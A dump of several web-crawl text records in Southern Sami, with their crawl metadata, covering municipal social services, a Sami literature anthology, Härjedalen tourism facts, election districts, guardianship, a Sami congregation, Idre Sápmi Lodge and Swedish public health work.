edtjieh maehtedh dej årromesijjiem sjïehtedh, vuesiehtimmien gaavhtan raampem bigkedh jårremestovlese jallh gamte oksh.\nDïhte gie govlemeapparaath, rullatovrh jallh jeatjah viehkiedïrregh daarpesje guktie fysihken svihtjemeheaptoem kompenseradidh edtja sov healsoejarngem gaskesadtedh.\nGaskesadteme\nSïjhth vielie daejredh dåarjoen jïh viehkien bïjre almetjidie svihtjemeheaptojne gaskesadth voerese- jïh lïhkesadtjeraeriestæjjam: 0660-881 98. Sïjhth viehkiem ohtsedidh, gaskesadth dåastoveektievoetem: 0660-26 51 82.\nDåarjoe lïhkesadtjide\nDïhte gie lïhke almetjem hoksedh maahta, daerpiesvoetem pryövemen mænngan, viehkiem åadtjodh guktie dïhte åådtje lïegkedidh såemies aejkien. Viehkiehtæjja maahta gåatan båetedh jallh dïhte maam håksa åådtje åenehkstïjjeårromesæjjan båetedh gusnie barkijh lïhkesadtjem huksieh.\nTjïelte lïhkesadtjeraeriestæjjah soptsestallemedåehkieh jïh lohkemh öörnieh jïh aaj lïhkesadtjide dåarjodh.\nGaskesadteme\nSïjhth vielie daejredh lïhkesadtje-dåarjoen bïjre, gaskesadth lïhkesadtje-raeriestæjjide: 0660-883 14 jallh 0660-881 98. Sïjhth viehkiem lïhkesadtje-hoksijasse ohtsedidh, gaskesadth dåastoveektievoetem: 0660-26 51 82.\nDåarjoeh fuelhkide jïh almetjasse\nTjïelte dåarjoem vadta fuelhkide jïh almetjasse mij ovmessie sjïekiej åvteste siebriedahken viehkiem boelhkem daarpesje. Dïhte maahta dan gaavhtan årrodh, v.g. barkohts, ekonomeles dåeriesmoerh, psyken vaejvieh jallh jis alkohovlem jallh jeatjah drogh båajhtoeh nåhtadidh.\nTjïelte dïedtem åtna maanah vaarjelidh mah vaahresne. Gaajhkh mah såevmieh maanah vædtsoesvoetem dååjroeh jallh jeatjah vuekine vaejviem dååjroeh byöroeh daam tjïeltese bæjhkoehtidh. Barkijh skuvlesne jallh jeatjah barkojne tjuerieh laaken mietie bæjhkoehtidh jis såevmieh maanah vaejviem dååjroeh. Tjïelte dellie muana jis maana dallegh vaarjelimmiem daarpesje jallh jis goerehtimmine aalka.\nGosse geerve vædtsoesvoetem dååjroeh lïhke ektiedimmine tjïelte maahta dåarjoem vedtedh dïsse mij vædtsoesvoetem dååjroe. Daaresjæjja maahta aaj viehkiem åadtjodh sov aggressijven dåemiedimmine.\nFuelhkieraerievedteme soptsestallemem faala paarride, fuelhkide jïh almetjasse man lea dåeriesmoere lïhke ektiedimmine jïh sæjhta dam jeatjahtehtedh. Ij naan journaalh tjaelieh jïh maam soptseste ij vijriesåbpoe juhtieh. Jis daarpesje dellie maahta soptsestallemem toelhkestidh.\nBarkijh tjïelten ålkonedåehkeste gååvnesieh noerebyjresisnie jïh jearsoesvoetem skaepiedieh jïh edtjieh miedtemi jïh drogi vööste barkedh.\nGaskesadteme\nSïjhth datne dåarjoem jïh viehkiem jïjtsadth ohtsedidh jallh dåeriesmoeride fuelhkesne, gaskesadth dellie dåastovedåehkiem: 0660-888 07, e-påaste: email@example.com\nGaskesadth fuelhkieraeriestæjjide: 0660-886 87 jallh 0660-886 89.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.ornskoldsvik.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien\/sajhtoejihviehkie.4.4c4feec515e441a88a91fb2a.html","date":"2019-01-18T19:02:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583660258.36\/warc\/CC-MAIN-20190118172438-20190118194438-00037.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":50,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":557,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åvtese jåhta \/ Harald Gaski & Lena Kappfjell (doaimmah.\/red.)\nISBN 82 90625 47 2 \/ 978 82 90625 47 9\nDeajvoehtæjjah \/ Redaktører: Harald Gaski & Lena Kappfjell\n135 s., antovlogije åarjelsaemien gielesne \/ antologiija lullisámegillii \/ antologi på sørsamisk\n© 2005 DAT, NOK 110,-\nBeskrivelse\nÅarjelsaemien tjaalegh jih tjaalegh åarjelsaemien.\nVoesteges tjiehpiesgærjeles antovlogijem åarjelsaemien!\nDellie maa, maahtah myjhtem lohkedh mij vihnesje Saemide Biejjien maanah leah, væjloegielesne! Nils Mattias Anderssonen mojhtesevuelie Oulavuolie dellie hov paehperisnie diedteme!\nDaennie antovlogijesne leah naan voernges ektiesaemien teeksth åarjelsaemien gaaltijistie, jih daelie orre gielehaamosne. Nov goh Anders Fjellneren myjhtihke eepose Biejjien maanaj bijre, jih Nils Mattias Anderssonen beagkoes vuelie Åvlavuelien råantjoeh mij daan raajan ajve LP-esne jih CD-esne gååvnesamme.\nVihkeles hov aaj ektiesaemien aerpiemaahtoen tjaalegh jeatjah smaaregistie åarjelsaemiengielese jarjoestamme. Dehtie miereste båeries joejke-teekste meatan, maam suemien hearra Jacob Fellmane govli jih tjeeli mearan lij Utsjohkesne, noerhtesuemesne barkeminie. Soelege jih Nåejtie lea saemien dovletji væhna, mij buerkeste guktie saemieh jijtjh damtin koloniseremen diedtelimmesne. Daan teeksten mohtedimmieh gååvnesieh daaletje jortesinie, nov goh Nils-Aslak Valkeapääen Mov veasoe lea mov vaajmosne, jih hujnies buerkiestimmesne Paulus Utsijen jih Gaebpien Gåstan vaajesine mah soptsestieh guktie saemieh leah eatnemh, jaevrieh jih reaktah dasseme. Seamma vihkeles aaj meatan, mijjien gøøkte beagkoesommes – jih daamhtaj jarkoestamme – saemien joejkeme-teeksth, mah voesteges aejkien diedtesovvin 1673. Måersie faavroe jih Guldnasas leah jienebh tjuetie aejkijste jarkoestamme, jih dellie maaje aaj åarjelsemien gielesne jis!\nDaaletje gærjelesvoeteste aaj veesmedahkem naan voernges saemien tjaelijijstie.\nJarkoestæjjah: Lena Kappfjell jih Åsta Vangberg.\n______________________________\nFørste skjønnlitterære antologi på sørsamisk! Endelig kan du lese myten om Samene som Solas barn på originalspråket! Mattias Anderssons erindringsjoik om Oulavuolie endelig på trykk!\nAntologien presenterer en del sentrale fellessamiske tekster med sørsamisk utspring i moderne språkdrak. Det gjelder såvel Anders Fjellner sitt mytiske epos om Solens barn, som Nils Mattias Anderssons mye tiljublede vuolie Åvlavuelien råantjoeh som hittil bare har funnes på LP og CD.\nVidere presenterer boka en del annet viktig fellessamisk litterært tradisjonsmateriale i oversettelse til sørsamisk, slik som de gamle joiketekstene som den finske presten Jacob Fellman skrev ned under sin tjenestetid i Utsjoki helt nord i Finland. Vekselsangen Tyven og Sjamanen representerer et tidlig samisk vitnesbyrd om hvordan koloniseringen av Sápmi ble følt av samene selv. Denne teksten har moderne paralleller i såvel Nils-Aslak Valkeapääs dikt Mitt hjem er i mitt hjerte som i de mer sorgtunge delene av Paulus Utsis og Gustav Kappfjells diktning om tap av land og vann og rettigheter. Likeledes presenteres i boka de to mest kjente – og mest oversatte – samiske joiketekstene, Måersie faavroe og Guldnasas, som første gang ble publisert i 1673.\nAv moderne litteratur er det med utdrag fra en del sentrale samiske forfattere.\nOversettelsene er gjort av Lena Kappfjell og Åsta Vangberg.\nTilleggsinformasjon\n|Vekt||0.335 kg|","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.dat.net\/product\/avtese-jahta-harald-gaski-lena-kappfjell-doaimmah-red\/","date":"2019-01-23T22:46:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547584415432.83\/warc\/CC-MAIN-20190123213748-20190123235748-00093.warc.gz","language":"sma","language_score":0.9371602535,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9371602535247803, \"sme_Latn_score\": 0.053613003343343735}","num_words":424,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":0.969,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Runt om i kommunen sitter dessa informationstavlor uppsatta beroende vart du är och ger lite information om vår bygd. Dessa tavlor hittar ni även här översatta till samiska.\nI menyn till vänster hittar ni informationstavlorna som är uppsatta i de olika bygderna.\nKlicka på bilderna för ett större format.\nHerjedaelie\nDaelie boelhkem slaevkiestidh mij båajhtede lea. Nov amma, Herjedaelie maahteme aktem voenem stoerre skåajjesne åarjel Noerhtelaantesne orreme mij almetjh åajaldamme, mah mysk-vuakside, sarvide, bïernide jïh jeatjah dyjrh laahpeme. Menh hijvenlaakan lea ahte jienebh almetjh leah dajven jïh tjïelten buerievoetem vueptiestamme.\nGåessie jienebh goh 2,5 miljovnh jaepesne jïjjedimmieh, Herjedaeliem lea aktem Sveerjen stööremes stuarasijjijste. Jïh ibie mijjieh minngemes gietjesne daejnie övtiedimmine – annje stoerre stuaravoenine bigkeminie.\nJïh mij paehpierisnie vååjnoen goh onne voenem, lea jïjnjemes dan gellieh almetjh daesnie ahte aktem gaskestoerre staarem buektiehtamme dievhtedh. Dïhte gielteges barkoeh skaepiedieh jïh aaj buerie åesiesbovride, hoksehtimmide, tjåanghkoesijjide jïh sijjide mah eah gååvnesamme jis eah stuaride daesnie orreme\nHerjedaeliem aktem biehkiem Saepmeste jïh numhtie saemien kultuvreste aaj ræjhkoes sjædta. Tjïeltesne golme saemien sïjth gååvnese, Mittådalen sïjte, Ruvten sïjte jïh Handölsdaelenen sïjte.\nJoekehtsh jeatjah Sveerjen stuaradajvijste mijjieh stuaraboelhkem abpe jaepesne utnebe. Saemien kultuvresne gaektsie tjaebpies jaepieboelhkh gååvnese. Daelvie, gïjredaelvie, gïjre, gïjregiesie, giesie, giesietjaktje, tjaktje jïh tjaktjedaelvie.\nAlmetjh staareste mah diekie juhteme pruvhkieh bååhperidh juktie dan jïjnje aktem tæjmosne hïnnebe mijjen voenine Svegesne, Ytterhogdaelesne, Hede-Vemdaelesne jïh Bïenjedaelesne daajhtodh. Mijjieh hïnnebe byöpmedidh, baanghkese mïnnedh jïh jeatjah ierieh aaj daajhtodh. Gaajhkide tjåanghkosne leah jïh ij naan vuerpieh gosk boelhkem guhkebe sjædta…\nBuerie båeteme murreds Herjedaalan!\nMurreds Herjedaelesne tjïelkevoete, gietskievoete jïh jielemefaamoe gååvnese!\nSneehpesbïevnesh jïh kuriosa:\nHerjedaelien tjïelte (sjïdti 1974)\nMan stoerre: 11 934km2 (Sveerjen vïjhtede stööremes dajvem)\nDaesnie årroen: medtie 10 300 almetjh\nDajvem\/almetjasse: ånnetji jienebh goh 1 km2\nDajveplomstere: Mosippa\nDajvedyjre: Bïerne\nDajveguelie: Haerrie\nSveerjen jollemes dajvem 4\/5 sijjeste gååvnese 500 meeterh haaven bijjelen.\nTeannese aktem gærhkoem åtna mij jollemes Sveerjesne gællesje.\nHögvålen lea voenem Sveerjesne mij jollemes gællesje.\nGeajnoem Sveerjesne mij jollemes gællesje, Flatruen bijjelen jåhta.\nIj gåabpegh bertiem dan guhkiem bijjene jåhta goh Anåvaerien baahkojne.\nSveerjen båarasommes moerem nasjonaale-såafoesijjie Sonvaerien baahkojne gååvnese\nVeartenen stööremes moerebïernem Svegen byögkeles voenesne gååvnese.\nEuropan båarasommes veevem akten laarosne Överhogdaelesne gaavnin, desnie aktem museeumem daaletje gååvnese mij histovrijem saakeste.\nJienebh bïevnesh Murreds Herjedaelien bïjre daesnie gååvnese: herjedalen.se\nSidinformation","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/kulturcentrummankell.se\/turism\/kartor\/informationstavlorikommunen.4.43b7c0fd14cdf17c4e317b81.html","date":"2019-01-20T01:02:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583688396.58\/warc\/CC-MAIN-20190120001524-20190120023524-00526.warc.gz","language":"sma","language_score":0.9999638796,"language_script":"Latn","minhash_cluster_size":83,"top_langs":"{\"sma_Latn_score\": 0.9999638795852661}","num_words":359,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Veeljemegeografije\nVeeljemedajve lea dïhte dajve mij lea veeljemisnie, v.g tjïelte jallh rïjhkebiejjieveeljemisnie, abpe laante.\nVeeljemedajvem veeljemegievlieh joekedamme jïh dejstie gievlijste tjirkijh veeljesåvva. Veeljemegievlide lea veeljemedistriktide joekedamme, akte veeljemesijjie fïerhtene veeljemedistriktesne. Veeljemedistriktesne låhkoe gåetijste jïh dejnie gåetine dah persovnh lea tjaaleme almetjetjaalegisnie gïeh åadtjoeh tjaatsestidh.\nVeeljemedistrikti stoeredahke jeatjahtehtieh men daamhtaj medtie 1000 – 2000 persovnh tjaatsestimmiereaktam utnieh. Ij gååvnesh naan vuelebe jallh bijjebe gaertjiedimmie man stoerre dah veeljemedistrikth maehtieh årrodh. Dennie unnemes barre naan gellie tjuetieh almetjh jïh dennie stööremes bijjelen 2 000. Fïerhtene veeljemedistriktesne veeljemesijjie gååvnese. Veeljemesijjesne maehtieh dah gïeh distriktesne årroeh tjaatsestidh.\nLeeneståvroe nænnoste guktie veeljemedistriktide juakasovvedh tjïeltereeremen rååresjimmien mietie. Minngemes goeven 1.b. veeljemejaepien åvteli edtja leeneståvroe juekemen bïjre nænnoestidh.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/info.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljemegeografije.html","date":"2019-02-23T16:35:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249508792.98\/warc\/CC-MAIN-20190223162938-20190223184938-00261.warc.gz","language":"sma","language_score":0.9999866486,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999866485595703}","num_words":106,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea naaken dejstie Fylhkenålman laavenjassijste juvrereeremisnie:\n- vierhtieh joekedidh heerreden råajvrimmide juvreskaaraj vööste, jïh ohtsemh gïetedidh maaksoen bïjre skaaraj åvteste gåetiekreekide mejtie vaarjelamme juvrh dorjeme\n- ohtsemh gïetedidh bivtemen bïjre gierhkeste jïh råateste\n- luhpiem vedtedh skaaravuetjiemasse råateste, gierhkeste, sïejpeste jïh duvreste, akten kvotan sisnjelen maam juvremoenehtse vadteme\n- aarhtsem reeredh, aaj ohtsemh skaaravuetjemen bïjre\n- tjaelijesijjine årrodh dan regijovnale juvremoenehtsasse, mij edtja hoksedh dah juvretjïerth naemhtie reeresuvvieh guktie dïhte rïektes juvreveahka lea dan lïhke regijovnen juvreveahkaulmiem goh gåarede.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.fylkesmannen.no\/sma\/Hedmarhken\/Byjrese-jih-klijma\/Juvrh\/","date":"2019-02-21T02:54:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247497858.46\/warc\/CC-MAIN-20190221010932-20190221032932-00238.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":37,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":75,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daesnie saemien learoevierhtieh gaskeviermesne gååvnese. Maam datne ohtsedeminie?\nOđđaseamos\nÁigeguovdil\nBivnnut\nSaemien learoevierhtieh\nDaan nehtebealan leah bïevnesh saemien learoevierhtiej bïjre tjöönghkesovveme. Daesnie maahta learoevierhtieh löönedh. Juekemeareenesne mahta aaj jïjtsh learoevierhtieh bæjhkoehtidh jïh vuartasjidh maam jeatjah joekedamme.\nDigitaale viehkiedïrrege learoevierhtide\nDigitaale viehkiedïrreginie maahta digitaale learoevierhtieh darjodh, mïsse maahta teksth bïejedh, tjoejh, guvvieh, videjoh, laavenjassh jïh ovmessie interaktijve sisvegh.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/ovttas.no\/sma","date":"2019-02-22T10:59:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247515149.92\/warc\/CC-MAIN-20190222094419-20190222120419-00030.warc.gz","language":"sma","language_score":0.9999966621,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999966621398926}","num_words":57,"character_repetition_ratio":0.149,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Barkijh:\nÅvtehke Saemien Åålmege åarjelsaemien dajvesne\nÅvtehke gie fïerhten beajjetje barkoem dorje jïh dejtie njoelkedassi mietie barka mij Åålmegeraerie lea nænnoestamme. Åvtehke lea Åålmegeraerien tjaelije jïh aaj åvtehke diakonijæsse jïh jaahkoeööhpehtæmman. Åvtehken dïedte lea gaskesadtedh, reeredh jïh jeatja barkijh ektesne dej råajvarimmiegujmie barkedh.\nÅvtehke Gaebpien Monica.\nHearra åarjelsaemien dajvesne.\nHearra åarjelsaemien dajvesne lea hearradïenesjen dïedte.\nHearra Einar Bondevik.\nDiakonije åarjelsaemien dajvesne.\nDiakonije lea gærhkoen hoksedïenesje. Dïhte lea evangeelijen barkoe mij gieriesvoeten dutnjan vuesehte, ektievuekiem ektiedidh, skaepievierhtiem vaarjelidh jïh gæmpoem dam reaktoevoeten bïjre. Saemine vuekine daate vuesehte guessine mïnnedh, dajven gærhkoedïenesjejielemem dåeriedidh, ektievuekesne darjomh öörnedh jïh joekehtsh ektenes saemide vååjnesasse bïejedh.\nDiakonijebarkije Bertil Jönsson.\nJaahkoeööhpehtimmie åarjelsaemien dajvesne.\nSaemien jaahkoeööhpehtimmie lea ulmie viehkiehtidh jïh guktie åadtjoejibie eensi jïh ektenes jaahkoeööhpehtimmie vedtedh, mij gååske jïh dam kristeles jaahkoe nænnoste. Darjome dam \"Den teenige Gud'n \" bïjre vadta jïh saemien maanah jïh noreh viehkiehtidh jielemen bïjre guarkedh guktie edtja jieledh jïh aaj guktie buektiehtidh sijjen saemien identiteete jïh vuekie voeth vaarjelidh. Maanide jïh noeride haestemem vedtedh jïh gærhkosne jïh siebriedahkesne dåeriedidh. Daate leah gaajhkesidie gieh leah kristsovveme 0-18 jaepien båeries\nÅvtehke jaahkoeööhpehtæmman Toamma Bientie","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/www.samiskmenighet.no\/medarbeidere-1","date":"2019-02-17T14:05:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247481994.42\/warc\/CC-MAIN-20190217132048-20190217154048-00622.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":178,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åelievoete\nAkte åelie akten almetjen iedtjide gorrede, mij lea akte maana jallh akte mij lea åeliem åådtjeme, jïh dan almetjen dïedtem vaalta. Maahta åeliem nammoehtidh disse mij viehkiem daarpesje sov jïjtsh iedtjh gorredidh, ekonomeles jallh jeatjahlaakan.\nBijjieformynderije lea tjïelten dïedte snjaltjen 1.b. 2013 raajan\nFïerhtene tjïeltesne edtja akte bijjieformyndere årrodh mij edtja iedtjide gorredidh dejtie mah eah leah myndig jïh dah mah viehkieåeliem utnieh. Bijjieformynderije aaj viehkieåeliej jïh åeliej barkoem vååksje.\nTjïelteståvroe bijjieformynderidie nammohte.\nFylhkenålma dïedtem åådtje snjaltjen 1.b. 2013 raejeste\nDïhte orre laake åelievoeten bïjre mij faamoem åådtje ruffien 1.b. 2012, åejvieaajkojne åtna reaktajearsoesvoetem jïh rektahedtiem almetjidie bueriedidh mah åelievoetem daarpesjieh. Dellie åelievoeten dïedte tjïeltijste sertieståvva Fylhkenålmese. Dah mah daan biejjien lea nammoehtamme åeline jïh viehkieåeline daan beajjetje njoelkedassi mietie, sijhtieh riektesisnie jåerhkedh tjïrrehtimmien mænngan dehtie orre reformeste.\nOrre mierieh åelide\n- Akte sjïehtedimmie tseegkesåvva daan beajjetje åeliej\/viehkieåeliej jïh Fylhkenålmaj gaskem guhkiem åvtelen dïhte orre laake faamoem åådtje.\n- Sæjhta lïerehtimmiem vedtedh daan beajjetje åelide jïh viehkieåellide dej orre njoelkedassi bïjre.\n- Sæjhta nasjovnale njoelkedassh jïh maaksoesaatsh åelide båetedh.\nStaaten sivijlereaktareereme\nStaaten sivijlereaktareereme sæjhta voernges åelievoetefaamojne sjïdtedh jïh vaaksjomefaamojne jïh klååkemesuerkine årrodh nænnoestimmide nammoehtimmien bïjre åeleste jïh jeatjah nænnoestimmide mejtie Fylhkenålma dorjeme.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.fylkesmannen.no\/sma\/Aelievoete\/","date":"2019-02-15T22:20:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247479159.2\/warc\/CC-MAIN-20190215204316-20190215230316-00362.warc.gz","language":"sma","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":58,"top_langs":"{\"sma_Latn_score\": 1.0000032186508179}","num_words":187,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjen bïjre\nUlmie jïh tsavtshvierhkieh\nIdre Sápmi Lodge edtja staeries dååjrehtsh faaledh gusnie saemien daajroe, eatneme jïh kultuvre jarngesne. Projekte edtja dajven faaleldahkh stinkestehtedh jïh båatsoem Eajresne evtiedidh jïh båetije beajjan vaarjelidh.\nMijjieh sïjhtebe saemien kultuvrem vuesiehtidh, bïevnesi jïh dååjrehtsi tjïrrh. Jis projektem tjïrrehtidh dellie vihkeles jeatjajgujmie ektine barkedh, dovne nationellt jïh internationellt, dejgujmie ektine gïeh eatnemem nuhtjieh, reeremedåehkine, åajvaladtjigujmie jïh jeatjajgujmie ektine.\nÅarjemes tjaangeldahke Saemien eatnamasse\nIdre Sapmi Lodge dïhte åarjemes tjaangeldahke Saemien eatnamasse gusnie nuepie \"Åarjelsaemien baalkan mietie vaedtsedh\/Den sydsamiska vägen\/\", desnie jienebh sïelth maehtieh sinsitnine ektine barkedh jïh guesside dahkoe bööredh. Eajran daaletje båatsoe histovrijen eatnamisnie jïh kultuvren mojhtesisnie tjåadtjan.\nGåatomedajvh jïh tsavtshvierhkie\nDaennie noerhte Dalarnisnie båatsoe dovletjijstie gååvnesamme, dam dovne gïeleldh tjaatsegh jïh arkeologijen gïejh vuesiehtieh. Daah gaaltijh mahte dehtie 1600-jaepiej gietjijste. Göökte Gånka-prievieh jaepijste 1888 jïh 1899 reaktam båatsose Eajresne nænnoestamme.\nSjïere fealadimmie\nIdre Sápmi Lodge projekten baalka joekoen jïh vihkeles. Feeledimmie sjïere arkitektuvrese aaj akte soptsese åesiestimmes turismen bïjre mij båatsojne aktanadta.\nIdre Sápmi Lodge\nIdre Sápmi Lodge orre åssjalommesh mij staeriesligkie jïh eensilaakan saemien kultuvrine jïh jielieminie barka dennie sov byjreskisnie ussjedammes saemien ektievoetesne.\nBovre\nBovresne båata saemien beapmoeh, vætnoeh, daaletje kåanste jïh designe gååvnesidh. Bovre edtja tryjjes jïh sjïere dåårjese årrodh jïh gosse bovresne dellie edtjh maehtedh dovne saemien beapmoeh maejstedh jïh tjaebpies vætnoeh vuejnedh. Gaajhkem ræjhkoesvoetem dehtie saemien kultuvreste dååjrehtidh.\nTåarje Kultuvrese jïh ierielæmman\nKonferansesijjie edtja dååjrehtimmine aktanadtedh, gusnie akti vyöki barka. Daan ulmie daesnie iktegisth dååjrehts lotnedidh, lïerehtimmiem jïh goerkesem evtiedidh.\nSaemien kultuvre, åarjelsaemien gïele, jieleme jïh jeatjah aalkoealmetji vuajnoe mijjen dan vaajmoen lïhkemes.\nRestaurante\nSaemien beapmoem maejstedh, dellie gellie stoerretjuetie jaepien båeries beapmoevuekeste maajsta, åådtje tjïelke beapmojne jïh båetije biejjine gaavnesjidh. Restaurante edtja saemien beapmoeh fïerhten biejjien faaledh jïh jurjiehtæjjah stoere maahtoem saemien beapmose utnieh jïh beapmoem hoksine jurjiehtieh. Beapmoeh daehtie dajveste edtja faaledh: bovtsen- jïh sarvenbearkoeh, guelieh, sjædtoeh jïh muerjieh jïh gosse guessieh maalesem åadtjoeh, dellie edtjieh tjetskehke sjïdtedh jïh sïjhtedh ovmessie beapmoeh daehtie dajveste maejstedh.\nHeamture jïh dååjrehtsh\nDajvine åahpenidie, saemien kultuvren jïh eatnemen tjïrrh, båeries gööthsijjieh gåassodh. Histovrijen daah kultuvreaerpieh, maahtoem eatnemen bïjre, dej dyjri- jïh sjædtoej bïjre mijjese ektievoetem vedtieh.\nAarvoemaadtoeh\nMijjieh sïjhtebe jielije Saepmesne jieledh, jielije saemien kultuvresne jïh eatnamisnie jeatjah almetji ektine.\nMijjen båetije biejjien åssjalommesh\n\"sïjhtebe jeatjebigujmie ektine gïeh eatnemen nuhtjieh jïh desnie berkieh buerie jïh nænnoes evtiedæmman båatsose barkedh\". Bïevnesi- jïh darjomi tjïrrh sïjhtebe byjreskem vaarjelidh jïh buerebe maahtoem jïh goerkesem saemiej bïjre, båatsose jïh sinsitniej jieliemasse vedtedh.\nGuarkedh, ååktedh jïh kultuvresne gaavnedidh.\nIdre Sápmi Lodge gaavnedimmiesijjie gusnie vielie maahta båatsoen, kultuvresijjiej jïh almetji jielemen bïjre lïeredh gïeh miehtjies dajvine, vaerine jïh skåajjine årroeh jïh dejtie ååktedh.\nSaemien noeride dåarjedidh\nAkte sjïere ulmie aaj dej saemiesïjten noeride dåarjedidh guktie buerie evtiedimmiem dejtie buektiehtidh jïh dåajvoem båetije beajjan.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/idresapmilodge.se\/om-oss\/om-oss-pa-sydsamiska\/","date":"2019-02-17T08:14:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247481766.50\/warc\/CC-MAIN-20190217071448-20190217093448-00606.warc.gz","language":"sma","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000050067901611}","num_words":444,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh barkebe stilleminie reerenasseste, men sveeki mijjen barkoe ryöktesth åålmegidie. Dan sijjeste mijjieh sijjie gusnie maahtoeh jïh ektiebarkoem tjöönghkedh vuesiehtimmien gaavhtan regijovnide, laantedigkide jïh tjïeltide, leeneståvrojde jïh ïedtjeorganisasjovnide dej barkojne.\nBuerie healsoe vihkielommes jieleminie jeenjemes almetjidie. Guhkiem lea almetji healsoe Sveerjesne buarani. Medtiejielemegåhkoe jeanene jïh aaj mubpieh væhtah vuesiehtieh healsoe buarane. Ellies mijjieh buerebe jielebe, men dah joekehts dej dåehkiej gaskem mij nuekemes jïh bööremes healsojne stuaranieh.\nStoerre laavenjasse mijjese lea dan gaavhtan dah vihkielommes åålmegehealsoegyhtjelasside prioriteradidh jïh meatan årrodh dah heerremigujmie loevenidh mah gååvnesieh guktie ellies åålmege buerie jïh seammavyörtegs healsoem utnieh.\nDaate leah naan daejstie åålmegehealsoegyhtjelassijste mejgujmie barkebe\n- Alkohole, narkotika, dopeme, dågkah jïh spïelh beetnegigujmie\nVihkeles ulmie mijjien barkose lea nåhtoem dågkeste jïh skaarah alkoholeste unniedidh. Mijjieh aaj barkebe narkotika- jïh dopemefrijjes siebriedahken åvteste jïh aaj spïelemiedtemem unniedidh.\n- Psykiske healsoe jïh byjjenimmietsiehkieh\nMijjieh barkebe psykijen ov-healsoem jïh jïjtjebovvemem heerredidh abpe åålmegisnie, jïh sjïere fokuse maanide jïh noeride. Mijjieh aaj barkebe seamma reaktah jïh nuepieh gaajhkide seamma saaht seksuellen jïh tjoeleidentiteete.\n- Sexuellen healsoe\nMijjieh heerreden barkojde aktanibie jïh fulkebe hiv:en jïh jeatjah seksuellen skïemtjelassi vööste.\n- Fysisken byjrese\nMijjen stilleme lea healsoeaajhtoeh byjresisnie aajhtsedh, heerredidh jïh gïetedidh.\n- Suetievaarjelimmie jïh suetiedihks skïemtjelassh\nMijjen dïedte åålmegen vaarjelimmieh suetiedihks skïemtjelassi vööste jïh iktesh evtiedimmiem goerehtidh infeksjovneskïemtjelasside dovne nasjovnesne jïh internasjonalesne. Mijjieh mijjen laboratorijinie analyseradibie jïh ryöjredibie pryövenassh goerehtidh sjïere suetiedihks 